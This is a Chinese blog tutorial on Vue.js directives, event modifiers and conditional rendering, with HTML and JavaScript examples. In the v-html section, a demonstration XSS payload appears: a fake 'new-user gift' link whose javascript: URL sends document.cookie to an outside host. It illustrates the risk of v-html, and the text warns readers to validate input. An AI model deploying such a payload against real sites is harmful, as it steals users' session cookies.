2021-09-16

最新推荐文章于 2024-10-04 00:46:18 发布

buty_nice

最新推荐文章于 2024-10-04 00:46:18 发布

阅读量286

点赞数

分类专栏：笔记文章标签： vue.js javascript html

本文链接：https://blog.csdn.net/buty_nice/article/details/120338637

版权

笔记专栏收录该内容

32 篇文章 0 订阅

订阅专栏

vue指令和条件判断

一、指令
二、事件修饰
- 案例
三、条件判断

一、指令

1-1、v-text 将data中的数据显示在页面中

指定是Vue中常用的一个功能，你可以理解为是以v-开头的自定义标签属性。
v-text 是将data中的数据显示在页面中。
它与{{ }}插值的区别在于，后者是在当前位置直接显示内容，前者是会替换标签中原本的内容。

案例

<body>
    <div id="app">
        <p>
            王语录：{{msg}}
        </p>
        <p v-text="msg">
            王语录：
        </p>
    </div>
    <script>
        new Vue({
            el:"#app",
            data:{
                msg:"今天去输液了，输得什么液，想你的夜"
            }
        })
    </script>
</body>

1-2、v-html 解析标签

它与v-text的区别在于： v-text不会解析内容的标签，v-html会。
v-html可能会被xss攻击，在使用之前，必须确定接口是安全可靠的。
用户提交的内容，一定要做好验证。前端要验证，后端也要验证。
我们可以在用户输入的内容上进行非法字符判断。

案例

<body>
    <div id="app">
        <p v-html="xss">
        </p>
    </div>
    <script>
        new Vue({
            el:"#app",
            data:{
                msg:"<h1>今天去输液了，输得什么液，想你的夜</h1>",
                xss:`<a href="javascript:location.href='http://www.abc.com?cookie='+document.cookie">点击领取新人礼包</a>`
            }
        })
    </script>
</body>

1-3、v-bind 动态更新

案例

作用是动态更新html元素上的属性。比如，id，name，class，src等等
格式：v-bind:属性名 = “data中的值”
v-bind：可以简写为 : 这是语法糖写法。

<body>
    <div id="app">
       <p v-bind:class="fontColor">打工人是人上人</p>
       <img :src="myImg">
    </div>
    <script>
        let vm = new Vue({
            el:"#app",
            data:{
                fontColor:"red",
                myImg:"img/hot_1.jpg"
            }
        })
    </script>
</body>

1-4、v-on 绑定事件

格式： v-on:事件类型 = “事件函数的名字”
语法糖格式： @事件类型 = “事件函数的名字”
vue中的函数需要写在 methods属性中。
如果先要在方法中，使用data中的数据，可以使用this来调用。
如果事件绑定时，事件没有使用小括号，它默认会传递一个参数进入函数，这个参数就是事件对象。
方法可以传参，需要想要获取事件对象，则必须使用$event传递。
如果要执行的代码十分简单，可以直接写在@click后面。

二、事件修饰

事件修饰符：
.stop 阻止冒泡
.prevent 阻止浏览器默认行为
.once 事件只触发一次
.self 只有target是自身时，事件才会触发
修饰符可以连用

案例

<body>
    <div id="app">
        <ul @click.self="handleUl">
            <!-- <li @click.stop="handleLi">点击有惊喜</li> -->
            <li @click="handleLi">点击有惊喜</li>
            <li @click="handleLi">点击有惊喜</li>
        </ul>
        <a @click.prevent.once="handleLink" href="http://www.pay.qq.com">想变强吗</a>
    </div>
    <script>
        let vm = new Vue({
            el: "#app",
            data: {
            },
            methods: {
                handleLi(ev) {
                    // ev.stopPropagation();
                    console.log("handleLi执行了");
                },
                handleUl() {
                    console.log("handleUl执行了");
                },
                handleLink(ev) {
                    //阻止浏览器的默认行为
                    // ev.preventDefault();
                    console.log("link执行了");
                }
            }
        })
    </script>

三、条件判断

条件渲染：满足条件才会渲染

3-1、v-show

如果表达式为真，则显示该元素，如果表达式为假，则隐藏该元素。隐藏：在元素上添加了display:none。

3-2、 v-if

v-if v-else v-else-if 之间使用方法：v-else使用时，前面必须是v-if或v-else-if，否则会报错。

3-3、 v-show 的应用场景

如果开发中需要频繁切换元素的显示与隐藏，那么就应该使用v-show，否则使用v-if。

案例

<body>
    <div id="app">
        <!-- 如果你的年龄大于18，显示这个 -->
        <!-- <p :class="age>=18?'':'hidden'">斗鱼网卡欢迎你</p> -->
        
        <!-- 如果你的年龄小于18 显示这个 -->
        <!-- <p :class="age<18?'':'hidden'">未成年人禁止入内</p> -->
        <!-- v-show实现 -->
        
        <!-- <p v-show="age>=18">斗鱼网卡欢迎你</p>
        <p v-show="age<18">未成年人禁止入内（小声：后面进）</p> -->

        <!-- v-if实现 -->
        <!-- <p v-if="age>=18">斗鱼网卡欢迎你</p> -->
        <!-- <p>晚上去酒吧蹦迪</p> -->
        <!-- <p v-else>未成年人禁止入内（小声：后面进）</p> -->
        
        <!-- 订单状态：未付款(0)，待发货(1)，待签收(2)，已签收(3)，已评论(4)  -->
        <p v-if="state == 0">未付款</p>
        <p v-else-if="state == 1">待发货</p>
        <p v-else-if="state == 2">待签收</p>
        <p v-else-if="state == 3">已签收</p>
        <p v-else-if="state == 4">已评论</p>
        <p v-else>状态异常</p>
    </div>
    <script>
        let vm = new Vue({
            el: "#app",
            data: {
                age:18,
                state:0
            }
        })
    </script>
</body>